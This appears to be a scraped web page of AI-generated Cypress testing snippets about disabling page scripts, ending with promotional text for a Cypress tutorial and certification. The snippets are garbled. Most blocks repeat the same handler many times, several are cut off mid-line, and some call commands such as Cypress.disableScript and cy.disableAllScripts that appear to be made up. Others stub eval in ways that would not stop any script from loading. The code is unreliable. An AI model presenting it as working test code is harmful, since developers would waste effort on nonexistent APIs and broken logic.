1describe('My First Test', () => {2 it('Does not do much!', () => {3 cy.pause()4 cy.get('.home-list > :nth-child(1) > a').click()5 cy.url().should('include', '/commands/actions')6 cy.get('.action-email')7 .type('
Using AI Code Generation
1Cypress.on('uncaught:exception', (err, runnable) => {2 })3Cypress.on('uncaught:exception', (err, runnable) => {4 })5Cypress.on('uncaught:exception', (err, runnable) => {6 })7Cypress.on('uncaught:exception', (err, runnable) => {8 })9Cypress.on('uncaught:exception', (err, runnable) => {10 })11Cypress.on('uncaught:exception', (err, runnable) => {12 })13Cypress.on('uncaught:exception', (err, runnable) => {14 })15Cypress.on('uncaught:exception', (err, runnable) => {16 })17Cypress.on('uncaught:exception', (err, runnable) => {18 })19Cypress.on('uncaught:exception', (err, runnable) => {20 })21Cypress.on('uncaught:exception', (err, runnable) => {22 })23Cypress.on('uncaught:exception', (err, runnable) => {24 })
Using AI Code Generation
1Cypress.disableScript('jquery.js')2Cypress.enableScript('jquery.js')3Cypress.disableScript('jquery.js')4Cypress.disableScript('jquery.js')5Cypress.enableScript('jquery.js')6Cypress.disableScript('jquery.js')7Cypress.disableScript('jquery.js')8Cypress.enableScript('jquery.js')9Cypress.disableScript('jquery.js')10Cypress.enableScript('jquery.js')11Cypress.disableScript('jquery.js')12Cypress.disableScript('jquery.js')13Cypress.enableScript('jquery.js')14Cypress.disableScript('jquery.js')15Cypress.disableScript('jquery.js')16Cypress.enableScript('jquery.js')17MIT © [Rajesh Kumar](
Using AI Code Generation
1Cypress.on("window:before:load", (win) => {2 win.disableScript = () => {3 return true;4 };5});6Cypress.on("window:before:load", (win) => {7 win.disableScript = () => {8 return true;9 };10});11Cypress.on("window:before:load", (win) => {12 win.disableScript = () => {13 return true;14 };15});16Cypress.on("window:before:load", (win) => {17 win.disableScript = () => {18 return true;19 };20});21Cypress.on("window:before:load", (win) => {22 win.disableScript = () => {23 return true;24 };25});26Cypress.on("window:before:load", (win) => {27 win.disableScript = () => {28 return true;29 };30});31Cypress.on("window:before:load", (win) => {32 win.disableScript = () => {33 return true;34 };35});36Cypress.on("window:before:load", (win) => {37 win.disableScript = () => {38 return true;39 };40});41Cypress.on("window:before:load", (win) => {42 win.disableScript = () => {43 return true;44 };45});46Cypress.on("window:before:load", (win) => {47 win.disableScript = () => {48 return true;49 };50});51Cypress.on("window:before:load", (win) => {52 win.disableScript = () => {53 return true;54 };55});56Cypress.on("window:before:load", (win) => {57 win.disableScript = () => {58 return true;59 };60});61Cypress.on("window:before:load", (win) => {62 win.disableScript = () => {63 return true;64 };65});
Using AI Code Generation
1Cypress.Commands.add('disableScript', (url) => {2 cy.window().then((win) => {3 cy.stub(win, 'eval').returns(null);4 });5});6describe('Test', () => {7 it('should disable script', () => {8 cy.visit('');9 });10});11Cypress.Commands.add('disableScript', (url) => {12 cy.on('window:before:load', (win) => {13 cy.stub(win, 'eval').returns(null);14 });15});16describe('Test', () => {17 it('should disable script', () => {18 cy.visit('');19 });20});21Cypress.Commands.add('disableScript', () => {22 cy.on('window:before:load', (win) => {23 cy.stub(win, 'eval').returns(null);24 });25});26describe('Test', () => {27 it('should disable script', () => {28 cy.visit('');29 cy.disableScript();30 });31});32Cypress is a very popular tool for end-to-end testing. It is a very powerful tool and helps us to write the test cases for the web applications. We can use the cy.on() method
Using AI Code Generation
1cy.disableAllScripts()2cy.enableAllScripts()3cy.disableAllStyles()4cy.enableAllStyles()5cy.disableAllImages()6cy.enableAllImages()7cy.disableAllNetworkRequests()8cy.enableAllNetworkRequests()
Using AI Code Generation
1Cypress.Commands.add("disableScript", (src) => {2 cy.window().then((win) => {3 cy.stub(win, "eval").as("eval");4 });5 cy.get("script").each(($script) => {6 if ($script.attr("src").includes(src)) {7 cy.get("@eval").withArgs($script.get(0).outerHTML).returns(null);8 }9 });10});11Cypress.Commands.add("disableScript", (src) => {12 cy.window().then((win) => {13 cy.stub(win, "eval").as("eval");14 });15 cy.get("script").each(($script) => {16 if ($script.attr("src").includes(src)) {17 cy.get("@eval").withArgs($script.get(0).outerHTML).returns(null);18 }19 });20});21Cypress.Commands.add("disableScript", (src) => {22 cy.window().then((win) => {23 cy.stub(win, "eval").as("eval");24 });25 cy.get("script").each(($script) => {26 if ($script.attr("src").includes(src)) {27 cy.get("@eval").withArgs($script.get(0).outerHTML).returns(null);28 }29 });30});31Cypress.Commands.add("disableScript", (src) => {32 cy.window().then((win) => {33 cy.stub(win, "eval").as("eval");34 });35 cy.get("script").each(($script) => {36 if ($script.attr("src").includes(src)) {37 cy.get("@eval").withArgs($script.get(0).outerHTML).returns(null);38 }39 });40});41Cypress.Commands.add("disableScript", (src) => {42 cy.window().then((win) => {43 cy.stub(win, "eval").as("eval");44 });45 cy.get("script
Cypress is a renowned Javascript-based open-source, easy-to-use end-to-end testing framework primarily used for testing web applications. Cypress is a relatively new player in the automation testing space and has been gaining much traction lately, as evidenced by the number of Forks (2.7K) and Stars (42.1K) for the project. LambdaTest’s Cypress Tutorial covers step-by-step guides that will help you learn from the basics till you run automation tests on LambdaTest.
You can elevate your expertise with end-to-end testing using the Cypress automation framework and stay one step ahead in your career by earning a Cypress certification. Check out our Cypress 101 Certification.
Watch this 3 hours of complete tutorial to learn the basics of Cypress and various Cypress commands with the Cypress testing at LambdaTest.
Get 100 minutes of automation test minutes FREE!!